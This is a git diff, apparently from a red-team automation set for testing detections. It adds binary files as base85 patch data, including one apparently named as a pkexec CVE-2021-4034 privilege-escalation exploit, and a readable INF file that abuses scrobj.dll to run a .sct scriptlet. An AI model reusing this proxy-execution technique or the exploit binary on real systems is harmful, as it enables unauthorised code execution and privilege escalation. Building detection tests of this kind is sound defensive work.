z;U67^k6Q~LgiEU@wV_iU?S{Ad-=S;u)+6ED!biflhjp|d=*pGXwCyUUQFDu%0XG9~ z2HXs|8E`Y;X28vWn*lci|L+;_;4M(BH<^m}<+8CvJ}++Wi{70{W_kh=4JbIUF~3Yi zb3J$6x^YYV$PURib|o{7UD3S!F~GCVyA#VBLGO>={Ge2#1-v$6u6+)J-T}V(!%}Gi z^zw71(hO+*N2QV<>-UF257RFQDD<9|is$G-;TiCI)-7LBGwNC5C!F>I%)s}TNI{j# z`a*1gob*G`?;~BGzs*;7W9=n(*BleO*6zIK+6`9|O!gG_!_c$7uOi#q@JS%{Nl+2? z`5&soP1l!-FK zg3mK|XE@I{3yl4()q>}l z9bYVXKHBjmg2&B{V|~sO*&^_YrGn>?1xCBe%Ja>RV~4IIk0kes-;=b~^ z4ZHtZ!Pl`Jhm(L6G3#EjvV0!ED)nOL_-IA_OUw5KyZ&my_X9h=MpT-2UU8Y=ebIJ( zT&*E1V%EL58)y~r%f;b}INzn_e9`r}NPJkDL(Cf8537VvOgQrFQ#ev&D_1F;@2@Pp z9u<$6i-+$AZ4#fKpS1FG%;A4f>d(*fW56rLzfiw^Ed8t!zo38}rIH`HcR^e_ZyZm< z)+6SR<7?9A{5a1_eEz(em44=r?>Tg!ithT(`~zP_|fuP`22aY z1Gpda$2m{xfUl~Wf4zhWx4V{H=K^?g0sP(t@W+8uJkI(2%mVt)0}oV)=eNLDR@Di< z53|Z238!Q#BlT}c6oFGd`&2&VZaWv(JMe&ARdO-lS69GAENA46 z{_gHzOw1iF(T%hoqvIuc94(1w^`2C=E1J^dMmCq%qx}OSmQDAi5=J5(y#CrPIGa*Q ziO#nq^=K{^9n=#UBR43zbJ27{kN2n3gD|mhIy4QNYCLHeSv{JG>v{TN9?|J~+rjYO zh#uM3s^f@@-6Ssb*01ji?`_|0m&mg;fN=atk7&w+)_PFrdph>Fggf;8ZEZJ44(W%& zEgcc^Do^0V^8GUSe}CpC5sw;Cb<8IevL4kjPx;s}^Hh)>n|I*HDW(?8Q$6a8kW;~a z>_?C1vwAO*Mn{6$_ro%t%;^331ky9tGs?9(mgIETmCvi@Fu-`tk)T%}(8WxH@mBSrO^s0&58;29-OjC0Pn-*M03(<5khUT*dc}8$FZGuR(2qMdATpE?G z%l{CgbqQ`o_}^g`evV|y>k=iFx?Csv1$<~N!1nyS$ut0&weWqEvCXJh?fJQs=>}F* z)M?)e{9~*QxP5+pWy<#a*vab@cDoN1{MRhU&(FC`1C$&TK6l3Uysn{hZnP%h_W603 z>C;JfH#6mSIDXb+`VH9AT8epozGfOwEji;?usDhe<&^FDIh^U3 zQsnlX{eMu|wP=GqW_zaZKw`BQA*I@6QcbZ;*pBH(5LoT`d012S9H-Ns`A<+GUmQO_7amsj+z#uj zbTBI}qDGifFXL>#(EktiLzL%U*%*}p<#1Fbp8U{|ay)!rTndb1N3~pPXd#JmpTjw~ VYf9-Ezq0+eZ!k5MI1C)D_!mQQZ%_aL literal 0 HcmV?d00001 diff --git a/rta/bin/notepad_launch.inf b/rta/bin/notepad_launch.inf new file mode 100644 index 000000000..bc78155e6 --- /dev/null +++ b/rta/bin/notepad_launch.inf @@ -0,0 +1,9 @@ +[version] +Signature=$chicago$ +AdvancedINF=2.5 + +[DefaultInstall_SingleUser] +UnRegisterOCXs=UnRegisterOCXSection + +[UnRegisterOCXSection] +%11%\scrobj.dll,NI,C:\Users\Administrator\Desktop\rta\bin\notepad.sct \ No newline at end of file diff --git a/rta/bin/pkexec_cve20214034/cve-2021-4034 b/rta/bin/pkexec_cve20214034/cve-2021-4034 new file mode 100755 index 0000000000000000000000000000000000000000..0390a795cbe2a2ade46dd2099a0679ab83fb57e7 GIT binary patch literal 16616 zcmeHOZ)_Y#6`%9P@uf-5PMQ=qY4NsABnRp}$4OkLt(!aBXRpC=Ok$^?CRv?*XZw=- zW8Lkwb^tZVq2g2$@_`RX2q6IyDfB}cl?qTL5)!3}5GX;QMwCjXq>@{K>IjHjAU@vP zo!@zPeMS`@5J)@H-Fxph@Ar1*?d;y{?acGhzV0fYPoVh4Q-ZC5ItvNQit*i2ArTgB zVl{n#Ts$aNlD)#jtopDesMaduRZba@xSu5R&dPeXd_ej^qJ=D(w_F*owrU`S><9DA zDrp0Ud{DLn5_tJ|iaerAo|6rOwDUMOvrQInw%sW;dAtEB!DEwo^O83&d5|;mc#y~^ z=Y&6(Wjwd+qB<^+?8{}~T_etVN?~iMeA0piBzT`89=G$O7NmW@Jl=A7sh91Cl-(7f zRC2g=XDAhKN+mOe$)?G+)~42-YCfyBnEmGX?Ay~nWHyP%7gEb@-asG5xc=(M@524( z&;01y-~aKiuc{3{eC@57eSFhbq^7?z5>2_8T=W- zl?whxm%%yq!xj7m81K@KqKx5dd2M+rtpAag1F8O#UGd3J;;<{NI zjxo;ooDG+^7KX*V4Yywh^AE(3IdG}m#L}*JsH(K}7Jb(?gh^w2oa^74DN)&ap6t;xAZ-70 zZ}G+vt@w^MeQR!DuGnG+sao+}V~zG=`zFF?o2W;#wCCCAz7f3yCsaHw;iKSjA^_r#LB=wh;Iz#kXi#|lW=)6|E zLcM&QYG+R`luFkwjjFW`C)tDY9C^C8_-5o_Z}CoKC{nx|p$uPj8eZ{}`74LKvKZukz{9c>BvMfuYOP}@iXmjNWM(+ z7Rf=9*XBy4%OtyQmrA!tevjm%^w$BuzvbdPzF+tz>wKHn)CA7>YU&v0H3DBD{wLW% zmdgG@Y@vGgZzO+(eS>w~!TL|tu6{0XLhRY}#3y!aF<+-Lzl%N!`QhCnyEFF?eeM#T zWgrr)d!edx?aHd7)FO-X1%f|I{W#3^9l^S5AwQ9E+4am7?2GC zerAPLfp%YzezZu{EQt3H`S?em=}K=~&BwtB$)~r(rj7j4W1MLplJy@-yWDOW|GzD; zuH1dxRyhuUV_j`eXXoQeV^?B08Otbb>JGKJsdbyBz;#*ar z^?tENC>8OwB3uygzk59V(ZrXIt2<_#rRVom>Od9k9&%q7 zYY1OY`Kgn?H{4Gy50Ijmn)Ayr@ulOWjqo}eKkjjIAK~k(mR>J=71WA%V3xZcmaURaeeGle;h(!81ed=huwS`Hsl}YK3 z{aW}B^rwWgzdH|Cr2j4%-~3Ucc)uW=+v)aylW@g$JgBz`e;9^cj^vEIQ5YRnN5ta( z5#31ZBfNtoPrFCrS$!;(9gd~+xRK4}^;lt2jAYXjsf3Y;tB>tyq3tJ?oOtg_Qjg_w zu_--~F>+I4G#5)J^mrkio+66P(#g|sxY7=ork3WG?M*wIckHCL>3aA6$ljfeOr#TmB)!uu83)E$05FRZ;l?%XZ7(|CeHhI=cn6$<+1$DTPq`h9rxKP;|kLAaO8lTEgJWComtLE86E}zV1 z9EMJHxkM_)1gTA=456CcR7q9GvSb>GN&4nNMNU~W{c2)d4x{ln1%YKzt?^_rpwkgz z>Es9 z%(oyFsjP3~~z`rF8SV2){#fUK}6uH%RdDT!8sE!uFHG&j8?Ko(IXl ze_Z%Eg7XAE=IaLuG{ zl+3XgK9;={$*}Vk$tz2{GwH7I;_EJcSUNzWy$Ayv@>?!GelH;}x=uKbk9gm8@iFg) z#PcEi-Ti+_@^SuzB0Z%{N)y7(e}yWziQv2U>plshly3gdT>P_&

#Y^&feY;lwpk zc#QKk#0B#}?BjL&!-o7Vacb!UKAs=unmF3xc(bfU8~i^|1&=-OF+asV=^5F6j8E`z z9(g{^F5u&N$P7}`#1 dxeT;g>RMND92br}U9H4F+-7;yxCky&{0nqmPa6OL literal 0 HcmV?d00001 diff --git a/rta/bin/rcedit-x64.exe b/rta/bin/rcedit-x64.exe new file mode 100644 index 0000000000000000000000000000000000000000..36764c62d461e0d42ce694efef82b4446acdd063 GIT binary patch literal 1308672 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 